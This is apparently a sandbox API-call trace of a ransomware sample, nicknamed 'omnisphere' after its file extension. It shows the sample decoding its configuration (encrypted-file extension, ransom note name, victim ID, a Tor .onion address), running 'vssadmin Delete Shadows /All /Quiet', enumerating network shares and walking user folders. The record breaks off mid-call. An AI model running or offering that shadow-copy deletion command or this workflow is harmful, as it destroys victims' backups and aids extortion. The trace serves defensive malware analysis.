[0053.095] lstrcpynA (in: lpString1=0x1645810, lpString2="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=949 | out: lpString1="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=") returned="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=" [0053.095] GetProcessHeap () returned 0x1600000 [0053.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3b5) returned 0x1645bd0 [0053.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1645bd0, cbMultiByte=710, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 710 [0053.095] GetProcessHeap () returned 0x1600000 [0053.095] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58e) returned 0x1645f90 [0053.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1645bd0, cbMultiByte=710, lpWideCharStr=0x1645f90, cchWideChar=711 | out: lpWideCharStr="AP32\x18") returned 710 [0053.095] CryptStringToBinaryA (in: pszString="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=", cchString=0x3b4, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x3acef74, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x3acef74, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0053.096] GetProcessHeap () returned 0x1600000 [0053.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c7) returned 0x1646528 [0053.096] CryptStringToBinaryA (in: pszString="QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=", cchString=0x3b4, dwFlags=0x1, pbBinary=0x1646528, pcbBinary=0x3acef74, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1646528, pcbBinary=0x3acef74, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0053.096] GetProcessHeap () returned 0x1600000 [0053.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x55f) returned 0x16467f8 [0053.096] GetProcessHeap () returned 0x1600000 [0053.096] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x560) returned 0x1646d60 [0053.096] StrStrIA (lpFirst="Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.096] GetProcessHeap () returned 0x1600000 [0053.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163aa50 [0053.097] lstrcpynA (in: lpString1=0x163aa50, lpString2="Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=17 | out: lpString1="Lm9tbmlzcGhlcmU=") returned="Lm9tbmlzcGhlcmU=" [0053.097] GetProcessHeap () returned 0x1600000 [0053.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163a810 [0053.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a810, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0053.097] GetProcessHeap () returned 0x1600000 [0053.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x18) returned 0x163a9f0 [0053.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x163a810, cbMultiByte=11, lpWideCharStr=0x163a9f0, cchWideChar=12 | out: lpWideCharStr=".omnisphere") returned 11 [0053.097] StrStrIA (lpFirst="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.098] GetProcessHeap () returned 0x1600000 [0053.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x21) returned 0x16405a8 [0053.098] lstrcpynA (in: lpString1=0x16405a8, lpString2="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=33 | out: lpString1="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=") returned="IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=" [0053.098] GetProcessHeap () returned 0x1600000 [0053.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x21) returned 0x1640608 [0053.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640608, cbMultiByte=23, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0053.098] GetProcessHeap () returned 0x1600000 [0053.098] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x30) returned 0x1640d48 [0053.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640608, cbMultiByte=23, lpWideCharStr=0x1640d48, cchWideChar=24 | out: lpWideCharStr="!DECRYPT_OMNISPHERE.txt") returned 23 [0053.098] StrStrIA (lpFirst="UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.099] GetProcessHeap () returned 0x1600000 [0053.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x19) returned 0x1641fe8 [0053.099] lstrcpynA (in: lpString1=0x1641fe8, lpString2="UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=25 | out: lpString1="UkhQWjJBWFlSMlY0SkNJVg==") returned="UkhQWjJBWFlSMlY0SkNJVg==" [0053.099] GetProcessHeap () returned 0x1600000 [0053.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x19) returned 0x1641f70 [0053.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1641f70, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.099] GetProcessHeap () returned 0x1600000 [0053.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x22) returned 0x16402d8 [0053.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1641f70, cbMultiByte=16, lpWideCharStr=0x16402d8, cchWideChar=17 | out: lpWideCharStr="RHPZ2AXYR2V4JCIV") returned 16 [0053.099] StrStrIA (lpFirst="MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0053.100] GetProcessHeap () returned 0x1600000 [0053.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b6c8 [0053.100] lstrcpynA (in: lpString1=0x162b6c8, lpString2="MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=5 | out: lpString1="MQ==") returned="MQ==" [0053.100] GetProcessHeap () returned 0x1600000 [0053.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b868 [0053.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b868, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0053.100] GetProcessHeap () returned 0x1600000 [0053.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4) returned 0x162b6e8 [0053.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b868, cbMultiByte=1, lpWideCharStr=0x162b6e8, cchWideChar=2 | out: lpWideCharStr="1") returned 1 [0053.100] StrToIntW (lpSrc="1") returned 1 [0053.101] StrStrIA (lpFirst="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";YXNk;" [0053.101] GetProcessHeap () returned 0x1600000 [0053.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29) returned 0x16410c8 [0053.101] lstrcpynA (in: lpString1=0x16410c8, lpString2="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=41 | out: lpString1="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v") returned="aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v" [0053.101] GetProcessHeap () returned 0x1600000 [0053.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29) returned 0x1640e60 [0053.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640e60, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0053.101] GetProcessHeap () returned 0x1600000 [0053.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x3e) returned 0x1626b98 [0053.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1640e60, cbMultiByte=30, lpWideCharStr=0x1626b98, cchWideChar=31 | out: lpWideCharStr="http://uu6issmbncd3wjkm.onion/") returned 30 [0053.101] StrStrIA (lpFirst="YXNk;", lpSrch=";") returned=";" [0053.102] GetProcessHeap () returned 0x1600000 [0053.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b798 [0053.102] lstrcpynA (in: lpString1=0x162b798, lpString2="YXNk;", iMaxLength=5 | out: lpString1="YXNk") returned="YXNk" [0053.102] GetProcessHeap () returned 0x1600000 [0053.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5) returned 0x162b718 [0053.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b718, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0053.102] GetProcessHeap () returned 0x1600000 [0053.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b878 [0053.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b718, cbMultiByte=3, lpWideCharStr=0x162b878, cchWideChar=4 | out: lpWideCharStr="asd") returned 3 [0053.102] GetCurrentProcessId () returned 0xf98 [0053.103] GetCurrentProcessId () returned 0xf98 [0053.103] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0xa6a09c | out: pszPath="C:\\WINDOWS") returned 0x0 [0053.103] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xa6a2a4 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0053.103] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xa6a4ac | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0053.105] GetLogicalDrives () returned 0x4 [0053.105] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0053.105] GetProcessHeap () returned 0x1600000 [0053.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x43c) returned 0x16472c8 [0053.105] GetProcessHeap () returned 0x1600000 [0053.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x30) returned 0x1640d80 [0053.106] GetProcessHeap () returned 0x1600000 [0053.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x560) returned 0x1647710 [0053.106] GetProcessHeap () returned 0x1600000 [0053.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a1) returned 0x1647c78 [0053.106] GetProcessHeap () returned 0x1600000 [0053.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1e) returned 0x1641e30 [0053.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x20000, lpStartAddress=0xa61450, lpParameter=0x16472c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0053.107] WaitForMultipleObjects (nCount=0x1, lpHandles=0x3ace52c*=0x34c, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0x15c [0053.112] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0053.112] GetProcAddress (hModule=0x75e90000, lpProcName="IsWow64Process") returned 0x75ea5a20 [0053.112] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x3bcf9c4 | out: Wow64Process=0x3bcf9c4) returned 1 [0053.113] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0053.113] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0053.113] Wow64DisableWow64FsRedirection (in: OldValue=0x3bcf9c0 | out: OldValue=0x3bcf9c0*=0x0) returned 1 [0053.114] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3bcf96c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3bcf9b0 | out: lpCommandLine="cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x3bcf9b0*(hProcess=0x350, hThread=0x348, dwProcessId=0x37c, dwThreadId=0xff0)) returned 1 [0053.645] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0053.645] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75ea6b50 [0053.645] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 Thread: id = 7 os_tid = 0x174 [0053.563] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ccf9c0, lphEnum=0x3ccf9b0 | out: lphEnum=0x3ccf9b0*=0x16394e8) returned 0x0 [0055.748] WNetEnumResourceW (in: hEnum=0x16394e8, lpcCount=0x3ccf9ac, lpBuffer=0x3ccb9a8, lpBufferSize=0x3ccf9a8 | out: lpcCount=0x3ccf9ac, lpBuffer=0x3ccb9a8, lpBufferSize=0x3ccf9a8) returned 0x0 [0055.749] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ccb9a8, lphEnum=0x3ccb98c | out: lphEnum=0x3ccb98c*=0x163ab50) returned 0x0 [0055.754] WNetEnumResourceW (in: hEnum=0x163ab50, lpcCount=0x3ccb988, lpBuffer=0x3cc7984, lpBufferSize=0x3ccb984 | out: lpcCount=0x3ccb988, lpBuffer=0x3cc7984, lpBufferSize=0x3ccb984) returned 0x103 [0055.754] WNetCloseEnum (hEnum=0x163ab50) returned 0x0 [0055.754] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ccb9c8, lphEnum=0x3ccb98c | out: lphEnum=0x3ccb98c*=0x0) returned 0x4b8 [0071.537] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ccb9e8, lphEnum=0x3ccb98c | out: lphEnum=0x3ccb98c*=0x0) returned 0x4c6 [0071.541] WNetCloseEnum (hEnum=0x16394e8) returned 0x0 Thread: id = 8 os_tid = 0xefc [0055.438] GetCurrentThread () returned 0xfffffffe [0055.438] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0055.438] GetWindowsDirectoryW (in: lpBuffer=0x3e0f6b8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0055.439] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3e0f8c0 | out: pszPath="C:\\Users\\FD1HVy") returned 0x0 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1e) returned 0x1641db8 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa) returned 0x1638990 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4) returned 0x162b7e8 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa) returned 0x16389a8 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlReAllocateHeap (Heap=0x1600000, Flags=0x8, Ptr=0x162b7e8, Size=0x8) returned 0x162b888 [0055.439] GetProcessHeap () returned 0x1600000 [0055.439] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa) returned 0x1638a08 [0055.440] GetProcessHeap () returned 0x1600000 [0055.440] RtlReAllocateHeap (Heap=0x1600000, Flags=0x8, Ptr=0x162b888, Size=0xc) returned 0x1638780 [0055.440] GetProcessHeap () returned 0x1600000 [0055.440] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x32) returned 0x16399e8 [0055.440] PathCombineW (in: pszDest=0x16399e8, pszDir="C:\\Users\\FD1HVy", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\*") returned="C:\\Users\\FD1HVy\\*" [0055.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bf2dfe, dwReserved1=0x8, cFileName=".", cAlternateFileName="")) returned 0x16397e8 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bf2dfe, dwReserved1=0x8, cFileName="..", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bf2dfe, dwReserved1=0x8, cFileName="AppData", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, 